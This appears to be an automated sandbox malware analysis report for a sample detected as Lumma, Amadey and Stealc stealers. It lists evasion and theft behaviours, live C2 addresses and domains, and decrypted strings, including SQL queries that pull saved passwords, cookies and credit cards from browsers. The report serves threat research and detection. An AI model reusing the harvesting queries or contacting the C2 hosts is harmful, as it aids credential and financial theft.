Windows Analysis Report
file.exe

Overview

General Information

Sample name: file.exe
Analysis ID: 1546043
MD5: dc19870e6fbb0e4ccc72d904b8587625
SHA1: 3244e0e13316dfe0231b9403b9d6c8333d91c26f
SHA256: 4620e7db2343031060561f15f247e9e02f2511192ec4675a96b72b808c724f0e
Tags: exeuser-Bitsight
Infos:

Detection

LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Antivirus / Scanner detection for submitted sample
Antivirus detection for dropped file
Detected unpacking (changes PE section rights)
Found malware configuration
Multi AV Scanner detection for dropped file
Multi AV Scanner detection for submitted file
Suricata IDS alerts for network traffic
Yara detected Amadeys stealer DLL
Yara detected Credential Flusher
Yara detected LummaC Stealer
Yara detected Powershell download and execute
Yara detected Stealc
AI detected suspicious sample
Binary is likely a compiled AutoIt script file
C2 URLs / IPs found in malware configuration
Creates multiple autostart registry keys
Disable Windows Defender notifications (registry)
Disable Windows Defender real time protection (registry)
Disables Windows Defender Tamper protection
Found many strings related to Crypto-Wallets (likely being stolen)
Hides threads from debuggers
LummaC encrypted strings found
Machine Learning detection for dropped file
Machine Learning detection for sample
Modifies windows update settings
PE file contains section with special chars
PE file has a writeable .text section
Query firmware table information (likely to detect VMs)
Sample uses string decryption to hide its real strings
Sigma detected: New RUN Key Pointing to Suspicious Folder
Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)
Tries to detect sandboxes / dynamic malware analysis system (registry check)
Tries to detect sandboxes and other dynamic analysis tools (window names)
Tries to detect virtualization through RDTSC time measurements
Tries to evade debugger and weak emulator (self modifying code)
Tries to harvest and steal browser information (history, passwords, etc)
Tries to harvest and steal ftp login credentials
Tries to steal Crypto Currency Wallets
AV process strings found (often used to terminate AV products)
Allocates memory with a write watch (potentially for evading sandboxes)
Checks for debuggers (devices)
Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)
Checks if the current process is being debugged
Contains capabilities to detect virtual machines
Contains functionality for execution timing, often used to detect debuggers
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates files inside the system directory
Creates job files (autostart)
Detected potential crypto function
Downloads executable code via HTTP
Dropped file seen in connection with other malware
Drops PE files
Enables debug privileges
Entry point lies outside standard sections
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
One or more processes crash
PE file contains an invalid checksum
PE file contains sections with non-standard names
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sample file is different than original file name gathered from version info
Searches for user specific document files
Shows file infection / information gathering behavior (enumerates multiple directory for files)
Sigma detected: CurrentVersion Autorun Keys Modification
Suricata IDS alerts with low severity for network traffic
Uses 32bit PE files
Uses code obfuscation techniques (call, push, ret)
Uses taskkill to terminate processes
Yara detected Credential Stealer

Classification

Name Description Attribution Blogpost URLs Link
Lumma Stealer, LummaC2 Stealer Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma
Name Description Attribution Blogpost URLs Link
Amadey Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey
Name Description Attribution Blogpost URLs Link
Stealc Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

AV Detection
barindex
Antivirus / Scanner detection for submitted sample
Source: file.exe Avira: detected
Antivirus detection for dropped file
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\random[1].exe Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\8W2ZCDPT7RPT387TG43.exe Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\XVTAV824L7GG4HFUZ6DTK345T.exe Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\random[1].exe Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\PK29CODQN9XEGX33RPZ17G59EIZ.exe Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1002858001\cc6c7213b6.exe Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Found malware configuration
Source: 00000028.00000003.2455197183.0000000004E80000.00000004.00001000.00020000.00000000.sdmp Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: 33.0.num.exe.850000.0.unpack Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.206/6c4adf523b719729.php", "Botnet": "tale"}
Source: 51c532c207.exe.5744.25.memstrmin Malware Configuration Extractor: LummaC {"C2 url": ["thumbystriw.store", "fadehairucw.store", "navygenerayk.store", "founpiuer.store", "necklacedmny.store", "scriptyprefej.store", "presticitpo.store", "crisiwarny.store"], "Build id": "4SD0y4--legendaryy"}
Multi AV Scanner detection for dropped file
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\num[1].exe ReversingLabs: Detection: 95%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\random[1].exe ReversingLabs: Detection: 44%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\random[1].exe ReversingLabs: Detection: 47%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\Q4M8ZOMH\random[1].exe ReversingLabs: Detection: 47%
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe ReversingLabs: Detection: 44%
Source: C:\Users\user\AppData\Local\Temp\1002858001\cc6c7213b6.exe ReversingLabs: Detection: 47%
Source: C:\Users\user\AppData\Local\Temp\1002859001\457547ced2.exe ReversingLabs: Detection: 47%
Source: C:\Users\user\AppData\Local\Temp\1002860001\num.exe ReversingLabs: Detection: 95%
Multi AV Scanner detection for submitted file
Source: file.exe ReversingLabs: Detection: 47%
AI detected suspicious sample
Source: Submited Sample Integrated Neural Analysis Model: Matched 99.9% probability
Machine Learning detection for dropped file
Source: C:\Users\user\AppData\Local\Temp\1002859001\457547ced2.exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\random[1].exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\8W2ZCDPT7RPT387TG43.exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\3TJFBHTBUJ4JRCME5DZP9K.exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\OR17DXDL5BQ5H62NVD1DH.exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\XVTAV824L7GG4HFUZ6DTK345T.exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\random[1].exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\random[1].exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1002860001\num.exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\PK29CODQN9XEGX33RPZ17G59EIZ.exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1002858001\cc6c7213b6.exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\num[1].exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\QQ6G82QPPDO4THZ78NZ3FOU9RZSTV.exe Joe Sandbox ML: detected
Machine Learning detection for sample
Source: file.exe Joe Sandbox ML: detected
Sample uses string decryption to hide its real strings
Source: 33.0.num.exe.850000.0.unpack String decryptor: INSERT_KEY_HERE
Source: 33.0.num.exe.850000.0.unpack String decryptor: 30
Source: 33.0.num.exe.850000.0.unpack String decryptor: 11
Source: 33.0.num.exe.850000.0.unpack String decryptor: 20
Source: 33.0.num.exe.850000.0.unpack String decryptor: 24
Source: 33.0.num.exe.850000.0.unpack String decryptor: GetProcAddress
Source: 33.0.num.exe.850000.0.unpack String decryptor: LoadLibraryA
Source: 33.0.num.exe.850000.0.unpack String decryptor: lstrcatA
Source: 33.0.num.exe.850000.0.unpack String decryptor: OpenEventA
Source: 33.0.num.exe.850000.0.unpack String decryptor: CreateEventA
Source: 33.0.num.exe.850000.0.unpack String decryptor: CloseHandle
Source: 33.0.num.exe.850000.0.unpack String decryptor: Sleep
Source: 33.0.num.exe.850000.0.unpack String decryptor: GetUserDefaultLangID
Source: 33.0.num.exe.850000.0.unpack String decryptor: VirtualAllocExNuma
Source: 33.0.num.exe.850000.0.unpack String decryptor: VirtualFree
Source: 33.0.num.exe.850000.0.unpack String decryptor: GetSystemInfo
Source: 33.0.num.exe.850000.0.unpack String decryptor: VirtualAlloc
Source: 33.0.num.exe.850000.0.unpack String decryptor: HeapAlloc
Source: 33.0.num.exe.850000.0.unpack String decryptor: GetComputerNameA
Source: 33.0.num.exe.850000.0.unpack String decryptor: lstrcpyA
Source: 33.0.num.exe.850000.0.unpack String decryptor: GetProcessHeap
Source: 33.0.num.exe.850000.0.unpack String decryptor: GetCurrentProcess
Source: 33.0.num.exe.850000.0.unpack String decryptor: lstrlenA
Source: 33.0.num.exe.850000.0.unpack String decryptor: ExitProcess
Source: 33.0.num.exe.850000.0.unpack String decryptor: GlobalMemoryStatusEx
Source: 33.0.num.exe.850000.0.unpack String decryptor: GetSystemTime
Source: 33.0.num.exe.850000.0.unpack String decryptor: SystemTimeToFileTime
Source: 33.0.num.exe.850000.0.unpack String decryptor: advapi32.dll
Source: 33.0.num.exe.850000.0.unpack String decryptor: gdi32.dll
Source: 33.0.num.exe.850000.0.unpack String decryptor: user32.dll
Source: 33.0.num.exe.850000.0.unpack String decryptor: crypt32.dll
Source: 33.0.num.exe.850000.0.unpack String decryptor: ntdll.dll
Source: 33.0.num.exe.850000.0.unpack String decryptor: GetUserNameA
Source: 33.0.num.exe.850000.0.unpack String decryptor: CreateDCA
Source: 33.0.num.exe.850000.0.unpack String decryptor: GetDeviceCaps
Source: 33.0.num.exe.850000.0.unpack String decryptor: ReleaseDC
Source: 33.0.num.exe.850000.0.unpack String decryptor: CryptStringToBinaryA
Source: 33.0.num.exe.850000.0.unpack String decryptor: sscanf
Source: 33.0.num.exe.850000.0.unpack String decryptor: VMwareVMware
Source: 33.0.num.exe.850000.0.unpack String decryptor: HAL9TH
Source: 33.0.num.exe.850000.0.unpack String decryptor: JohnDoe
Source: 33.0.num.exe.850000.0.unpack String decryptor: DISPLAY
Source: 33.0.num.exe.850000.0.unpack String decryptor: %hu/%hu/%hu
Source: 33.0.num.exe.850000.0.unpack String decryptor: http://185.215.113.206
Source: 33.0.num.exe.850000.0.unpack String decryptor: bksvnsj
Source: 33.0.num.exe.850000.0.unpack String decryptor: /6c4adf523b719729.php
Source: 33.0.num.exe.850000.0.unpack String decryptor: /746f34465cf17784/
Source: 33.0.num.exe.850000.0.unpack String decryptor: tale
Source: 33.0.num.exe.850000.0.unpack String decryptor: GetEnvironmentVariableA
Source: 33.0.num.exe.850000.0.unpack String decryptor: GetFileAttributesA
Source: 33.0.num.exe.850000.0.unpack String decryptor: GlobalLock
Source: 33.0.num.exe.850000.0.unpack String decryptor: HeapFree
Source: 33.0.num.exe.850000.0.unpack String decryptor: GetFileSize
Source: 33.0.num.exe.850000.0.unpack String decryptor: GlobalSize
Source: 33.0.num.exe.850000.0.unpack String decryptor: CreateToolhelp32Snapshot
Source: 33.0.num.exe.850000.0.unpack String decryptor: IsWow64Process
Source: 33.0.num.exe.850000.0.unpack String decryptor: Process32Next
Source: 33.0.num.exe.850000.0.unpack String decryptor: GetLocalTime
Source: 33.0.num.exe.850000.0.unpack String decryptor: FreeLibrary
Source: 33.0.num.exe.850000.0.unpack String decryptor: GetTimeZoneInformation
Source: 33.0.num.exe.850000.0.unpack String decryptor: GetSystemPowerStatus
Source: 33.0.num.exe.850000.0.unpack String decryptor: GetVolumeInformationA
Source: 33.0.num.exe.850000.0.unpack String decryptor: GetWindowsDirectoryA
Source: 33.0.num.exe.850000.0.unpack String decryptor: Process32First
Source: 33.0.num.exe.850000.0.unpack String decryptor: GetLocaleInfoA
Source: 33.0.num.exe.850000.0.unpack String decryptor: GetUserDefaultLocaleName
Source: 33.0.num.exe.850000.0.unpack String decryptor: GetModuleFileNameA
Source: 33.0.num.exe.850000.0.unpack String decryptor: DeleteFileA
Source: 33.0.num.exe.850000.0.unpack String decryptor: FindNextFileA
Source: 33.0.num.exe.850000.0.unpack String decryptor: LocalFree
Source: 33.0.num.exe.850000.0.unpack String decryptor: FindClose
Source: 33.0.num.exe.850000.0.unpack String decryptor: SetEnvironmentVariableA
Source: 33.0.num.exe.850000.0.unpack String decryptor: LocalAlloc
Source: 33.0.num.exe.850000.0.unpack String decryptor: GetFileSizeEx
Source: 33.0.num.exe.850000.0.unpack String decryptor: ReadFile
Source: 33.0.num.exe.850000.0.unpack String decryptor: SetFilePointer
Source: 33.0.num.exe.850000.0.unpack String decryptor: WriteFile
Source: 33.0.num.exe.850000.0.unpack String decryptor: CreateFileA
Source: 33.0.num.exe.850000.0.unpack String decryptor: FindFirstFileA
Source: 33.0.num.exe.850000.0.unpack String decryptor: CopyFileA
Source: 33.0.num.exe.850000.0.unpack String decryptor: VirtualProtect
Source: 33.0.num.exe.850000.0.unpack String decryptor: GetLogicalProcessorInformationEx
Source: 33.0.num.exe.850000.0.unpack String decryptor: GetLastError
Source: 33.0.num.exe.850000.0.unpack String decryptor: lstrcpynA
Source: 33.0.num.exe.850000.0.unpack String decryptor: MultiByteToWideChar
Source: 33.0.num.exe.850000.0.unpack String decryptor: GlobalFree
Source: 33.0.num.exe.850000.0.unpack String decryptor: WideCharToMultiByte
Source: 33.0.num.exe.850000.0.unpack String decryptor: GlobalAlloc
Source: 33.0.num.exe.850000.0.unpack String decryptor: OpenProcess
Source: 33.0.num.exe.850000.0.unpack String decryptor: TerminateProcess
Source: 33.0.num.exe.850000.0.unpack String decryptor: GetCurrentProcessId
Source: 33.0.num.exe.850000.0.unpack String decryptor: gdiplus.dll
Source: 33.0.num.exe.850000.0.unpack String decryptor: ole32.dll
Source: 33.0.num.exe.850000.0.unpack String decryptor: bcrypt.dll
Source: 33.0.num.exe.850000.0.unpack String decryptor: wininet.dll
Source: 33.0.num.exe.850000.0.unpack String decryptor: shlwapi.dll
Source: 33.0.num.exe.850000.0.unpack String decryptor: shell32.dll
Source: 33.0.num.exe.850000.0.unpack String decryptor: psapi.dll
Source: 33.0.num.exe.850000.0.unpack String decryptor: rstrtmgr.dll
Source: 33.0.num.exe.850000.0.unpack String decryptor: CreateCompatibleBitmap
Source: 33.0.num.exe.850000.0.unpack String decryptor: SelectObject
Source: 33.0.num.exe.850000.0.unpack String decryptor: BitBlt
Source: 33.0.num.exe.850000.0.unpack String decryptor: DeleteObject
Source: 33.0.num.exe.850000.0.unpack String decryptor: CreateCompatibleDC
Source: 33.0.num.exe.850000.0.unpack String decryptor: GdipGetImageEncodersSize
Source: 33.0.num.exe.850000.0.unpack String decryptor: GdipGetImageEncoders
Source: 33.0.num.exe.850000.0.unpack String decryptor: GdipCreateBitmapFromHBITMAP
Source: 33.0.num.exe.850000.0.unpack String decryptor: GdiplusStartup
Source: 33.0.num.exe.850000.0.unpack String decryptor: GdiplusShutdown
Source: 33.0.num.exe.850000.0.unpack String decryptor: GdipSaveImageToStream
Source: 33.0.num.exe.850000.0.unpack String decryptor: GdipDisposeImage
Source: 33.0.num.exe.850000.0.unpack String decryptor: GdipFree
Source: 33.0.num.exe.850000.0.unpack String decryptor: GetHGlobalFromStream
Source: 33.0.num.exe.850000.0.unpack String decryptor: CreateStreamOnHGlobal
Source: 33.0.num.exe.850000.0.unpack String decryptor: CoUninitialize
Source: 33.0.num.exe.850000.0.unpack String decryptor: CoInitialize
Source: 33.0.num.exe.850000.0.unpack String decryptor: CoCreateInstance
Source: 33.0.num.exe.850000.0.unpack String decryptor: BCryptGenerateSymmetricKey
Source: 33.0.num.exe.850000.0.unpack String decryptor: BCryptCloseAlgorithmProvider
Source: 33.0.num.exe.850000.0.unpack String decryptor: BCryptDecrypt
Source: 33.0.num.exe.850000.0.unpack String decryptor: BCryptSetProperty
Source: 33.0.num.exe.850000.0.unpack String decryptor: BCryptDestroyKey
Source: 33.0.num.exe.850000.0.unpack String decryptor: BCryptOpenAlgorithmProvider
Source: 33.0.num.exe.850000.0.unpack String decryptor: GetWindowRect
Source: 33.0.num.exe.850000.0.unpack String decryptor: GetDesktopWindow
Source: 33.0.num.exe.850000.0.unpack String decryptor: GetDC
Source: 33.0.num.exe.850000.0.unpack String decryptor: CloseWindow
Source: 33.0.num.exe.850000.0.unpack String decryptor: wsprintfA
Source: 33.0.num.exe.850000.0.unpack String decryptor: EnumDisplayDevicesA
Source: 33.0.num.exe.850000.0.unpack String decryptor: GetKeyboardLayoutList
Source: 33.0.num.exe.850000.0.unpack String decryptor: CharToOemW
Source: 33.0.num.exe.850000.0.unpack String decryptor: wsprintfW
Source: 33.0.num.exe.850000.0.unpack String decryptor: RegQueryValueExA
Source: 33.0.num.exe.850000.0.unpack String decryptor: RegEnumKeyExA
Source: 33.0.num.exe.850000.0.unpack String decryptor: RegOpenKeyExA
Source: 33.0.num.exe.850000.0.unpack String decryptor: RegCloseKey
Source: 33.0.num.exe.850000.0.unpack String decryptor: RegEnumValueA
Source: 33.0.num.exe.850000.0.unpack String decryptor: CryptBinaryToStringA
Source: 33.0.num.exe.850000.0.unpack String decryptor: CryptUnprotectData
Source: 33.0.num.exe.850000.0.unpack String decryptor: SHGetFolderPathA
Source: 33.0.num.exe.850000.0.unpack String decryptor: ShellExecuteExA
Source: 33.0.num.exe.850000.0.unpack String decryptor: InternetOpenUrlA
Source: 33.0.num.exe.850000.0.unpack String decryptor: InternetConnectA
Source: 33.0.num.exe.850000.0.unpack String decryptor: InternetCloseHandle
Source: 33.0.num.exe.850000.0.unpack String decryptor: InternetOpenA
Source: 33.0.num.exe.850000.0.unpack String decryptor: HttpSendRequestA
Source: 33.0.num.exe.850000.0.unpack String decryptor: HttpOpenRequestA
Source: 33.0.num.exe.850000.0.unpack String decryptor: InternetReadFile
Source: 33.0.num.exe.850000.0.unpack String decryptor: InternetCrackUrlA
Source: 33.0.num.exe.850000.0.unpack String decryptor: StrCmpCA
Source: 33.0.num.exe.850000.0.unpack String decryptor: StrStrA
Source: 33.0.num.exe.850000.0.unpack String decryptor: StrCmpCW
Source: 33.0.num.exe.850000.0.unpack String decryptor: PathMatchSpecA
Source: 33.0.num.exe.850000.0.unpack String decryptor: GetModuleFileNameExA
Source: 33.0.num.exe.850000.0.unpack String decryptor: RmStartSession
Source: 33.0.num.exe.850000.0.unpack String decryptor: RmRegisterResources
Source: 33.0.num.exe.850000.0.unpack String decryptor: RmGetList
Source: 33.0.num.exe.850000.0.unpack String decryptor: RmEndSession
Source: 33.0.num.exe.850000.0.unpack String decryptor: sqlite3_open
Source: 33.0.num.exe.850000.0.unpack String decryptor: sqlite3_prepare_v2
Source: 33.0.num.exe.850000.0.unpack String decryptor: sqlite3_step
Source: 33.0.num.exe.850000.0.unpack String decryptor: sqlite3_column_text
Source: 33.0.num.exe.850000.0.unpack String decryptor: sqlite3_finalize
Source: 33.0.num.exe.850000.0.unpack String decryptor: sqlite3_close
Source: 33.0.num.exe.850000.0.unpack String decryptor: sqlite3_column_bytes
Source: 33.0.num.exe.850000.0.unpack String decryptor: sqlite3_column_blob
Source: 33.0.num.exe.850000.0.unpack String decryptor: encrypted_key
Source: 33.0.num.exe.850000.0.unpack String decryptor: PATH
Source: 33.0.num.exe.850000.0.unpack String decryptor: C:\ProgramData\nss3.dll
Source: 33.0.num.exe.850000.0.unpack String decryptor: NSS_Init
Source: 33.0.num.exe.850000.0.unpack String decryptor: NSS_Shutdown
Source: 33.0.num.exe.850000.0.unpack String decryptor: PK11_GetInternalKeySlot
Source: 33.0.num.exe.850000.0.unpack String decryptor: PK11_FreeSlot
Source: 33.0.num.exe.850000.0.unpack String decryptor: PK11_Authenticate
Source: 33.0.num.exe.850000.0.unpack String decryptor: PK11SDR_Decrypt
Source: 33.0.num.exe.850000.0.unpack String decryptor: C:\ProgramData\
Source: 33.0.num.exe.850000.0.unpack String decryptor: SELECT origin_url, username_value, password_value FROM logins
Source: 33.0.num.exe.850000.0.unpack String decryptor: browser:
Source: 33.0.num.exe.850000.0.unpack String decryptor: profile:
Source: 33.0.num.exe.850000.0.unpack String decryptor: url:
Source: 33.0.num.exe.850000.0.unpack String decryptor: login:
Source: 33.0.num.exe.850000.0.unpack String decryptor: password:
Source: 33.0.num.exe.850000.0.unpack String decryptor: Opera
Source: 33.0.num.exe.850000.0.unpack String decryptor: OperaGX
Source: 33.0.num.exe.850000.0.unpack String decryptor: Network
Source: 33.0.num.exe.850000.0.unpack String decryptor: cookies
Source: 33.0.num.exe.850000.0.unpack String decryptor: .txt
Source: 33.0.num.exe.850000.0.unpack String decryptor: SELECT HOST_KEY, is_httponly, path, is_secure, (expires_utc/1000000)-11644480800, name, encrypted_value from cookies
Source: 33.0.num.exe.850000.0.unpack String decryptor: TRUE
Source: 33.0.num.exe.850000.0.unpack String decryptor: FALSE
Source: 33.0.num.exe.850000.0.unpack String decryptor: autofill
Source: 33.0.num.exe.850000.0.unpack String decryptor: SELECT name, value FROM autofill
Source: 33.0.num.exe.850000.0.unpack String decryptor: history
Source: 33.0.num.exe.850000.0.unpack String decryptor: SELECT url FROM urls LIMIT 1000
Source: 33.0.num.exe.850000.0.unpack String decryptor: cc
Source: 33.0.num.exe.850000.0.unpack String decryptor: SELECT name_on_card, expiration_month, expiration_year, card_number_encrypted FROM credit_cards
Source: 33.0.num.exe.850000.0.unpack String decryptor: name:
Source: 33.0.num.exe.850000.0.unpack String decryptor: month:
Source: 33.0.num.exe.850000.0.unpack String decryptor: year:
Source: 33.0.num.exe.850000.0.unpack String decryptor: card:
Source: 33.0.num.exe.850000.0.unpack String decryptor: Cookies
Source: 33.0.num.exe.850000.0.unpack String decryptor: Login Data
Source: 33.0.num.exe.850000.0.unpack String decryptor: Web Data
Source: 33.0.num.exe.850000.0.unpack String decryptor: History
Source: 33.0.num.exe.850000.0.unpack String decryptor: logins.json
Source: 33.0.num.exe.850000.0.unpack String decryptor: formSubmitURL
Source: 33.0.num.exe.850000.0.unpack String decryptor: usernameField
Source: 33.0.num.exe.850000.0.unpack String decryptor: encryptedUsername
Source: 33.0.num.exe.850000.0.unpack String decryptor: encryptedPassword
Source: 33.0.num.exe.850000.0.unpack String decryptor: guid
Source: 33.0.num.exe.850000.0.unpack String decryptor: SELECT host, isHttpOnly, path, isSecure, expiry, name, value FROM moz_cookies
Source: 33.0.num.exe.850000.0.unpack String decryptor: SELECT fieldname, value FROM moz_formhistory
Source: 33.0.num.exe.850000.0.unpack String decryptor: SELECT url FROM moz_places LIMIT 1000
Source: 33.0.num.exe.850000.0.unpack String decryptor: cookies.sqlite
Source: 33.0.num.exe.850000.0.unpack String decryptor: formhistory.sqlite
Source: 33.0.num.exe.850000.0.unpack String decryptor: places.sqlite
Source: 33.0.num.exe.850000.0.unpack String decryptor: plugins
Source: 33.0.num.exe.850000.0.unpack String decryptor: Local Extension Settings
Source: 33.0.num.exe.850000.0.unpack String decryptor: Sync Extension Settings
Source: 33.0.num.exe.850000.0.unpack String decryptor: IndexedDB
Source: 33.0.num.exe.850000.0.unpack String decryptor: Opera Stable
Source: 33.0.num.exe.850000.0.unpack String decryptor: Opera GX Stable
Source: 33.0.num.exe.850000.0.unpack String decryptor: CURRENT
Source: 33.0.num.exe.850000.0.unpack String decryptor: chrome-extension_
Source: 33.0.num.exe.850000.0.unpack String decryptor: _0.indexeddb.leveldb
Source: 33.0.num.exe.850000.0.unpack String decryptor: Local State
Source: 33.0.num.exe.850000.0.unpack String decryptor: profiles.ini
Source: 33.0.num.exe.850000.0.unpack String decryptor: chrome
Source: 33.0.num.exe.850000.0.unpack String decryptor: opera
Source: 33.0.num.exe.850000.0.unpack String decryptor: firefox
Source: 33.0.num.exe.850000.0.unpack String decryptor: wallets
Source: 33.0.num.exe.850000.0.unpack String decryptor: %08lX%04lX%lu
Source: 33.0.num.exe.850000.0.unpack String decryptor: SOFTWARE\Microsoft\Windows NT\CurrentVersion
Source: 33.0.num.exe.850000.0.unpack String decryptor: ProductName
Source: 33.0.num.exe.850000.0.unpack String decryptor: x32
Source: 33.0.num.exe.850000.0.unpack String decryptor: x64
Source: 33.0.num.exe.850000.0.unpack String decryptor: %d/%d/%d %d:%d:%d
Source: 33.0.num.exe.850000.0.unpack String decryptor: HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: 33.0.num.exe.850000.0.unpack String decryptor: ProcessorNameString
Source: 33.0.num.exe.850000.0.unpack String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
Source: 33.0.num.exe.850000.0.unpack String decryptor: DisplayName
Source: 33.0.num.exe.850000.0.unpack String decryptor: DisplayVersion
Source: 33.0.num.exe.850000.0.unpack String decryptor: Network Info:
Source: 33.0.num.exe.850000.0.unpack String decryptor: - IP: IP?
Source: 33.0.num.exe.850000.0.unpack String decryptor: - Country: ISO?
Source: 33.0.num.exe.850000.0.unpack String decryptor: System Summary:
Source: 33.0.num.exe.850000.0.unpack String decryptor: - HWID:
Source: 33.0.num.exe.850000.0.unpack String decryptor: - OS:
Source: 33.0.num.exe.850000.0.unpack String decryptor: - Architecture:
Source: 33.0.num.exe.850000.0.unpack String decryptor: - UserName:
Source: 33.0.num.exe.850000.0.unpack String decryptor: - Computer Name:
Source: 33.0.num.exe.850000.0.unpack String decryptor: - Local Time:
Source: 33.0.num.exe.850000.0.unpack String decryptor: - UTC:
Source: 33.0.num.exe.850000.0.unpack String decryptor: - Language:
Source: 33.0.num.exe.850000.0.unpack String decryptor: - Keyboards:
Source: 33.0.num.exe.850000.0.unpack String decryptor: - Laptop:
Source: 33.0.num.exe.850000.0.unpack String decryptor: - Running Path:
Source: 33.0.num.exe.850000.0.unpack String decryptor: - CPU:
Source: 33.0.num.exe.850000.0.unpack String decryptor: - Threads:
Source: 33.0.num.exe.850000.0.unpack String decryptor: - Cores:
Source: 33.0.num.exe.850000.0.unpack String decryptor: - RAM:
Source: 33.0.num.exe.850000.0.unpack String decryptor: - Display Resolution:
Source: 33.0.num.exe.850000.0.unpack String decryptor: - GPU:
Source: 33.0.num.exe.850000.0.unpack String decryptor: User Agents:
Source: 33.0.num.exe.850000.0.unpack String decryptor: Installed Apps:
Source: 33.0.num.exe.850000.0.unpack String decryptor: All Users:
Source: 33.0.num.exe.850000.0.unpack String decryptor: Current User:
Source: 33.0.num.exe.850000.0.unpack String decryptor: Process List:
Source: 33.0.num.exe.850000.0.unpack String decryptor: system_info.txt
Source: 33.0.num.exe.850000.0.unpack String decryptor: freebl3.dll
Source: 33.0.num.exe.850000.0.unpack String decryptor: mozglue.dll
Source: 33.0.num.exe.850000.0.unpack String decryptor: msvcp140.dll
Source: 33.0.num.exe.850000.0.unpack String decryptor: nss3.dll
Source: 33.0.num.exe.850000.0.unpack String decryptor: softokn3.dll
Source: 33.0.num.exe.850000.0.unpack String decryptor: vcruntime140.dll
Source: 33.0.num.exe.850000.0.unpack String decryptor: \Temp\
Source: 33.0.num.exe.850000.0.unpack String decryptor: .exe
Source: 33.0.num.exe.850000.0.unpack String decryptor: runas
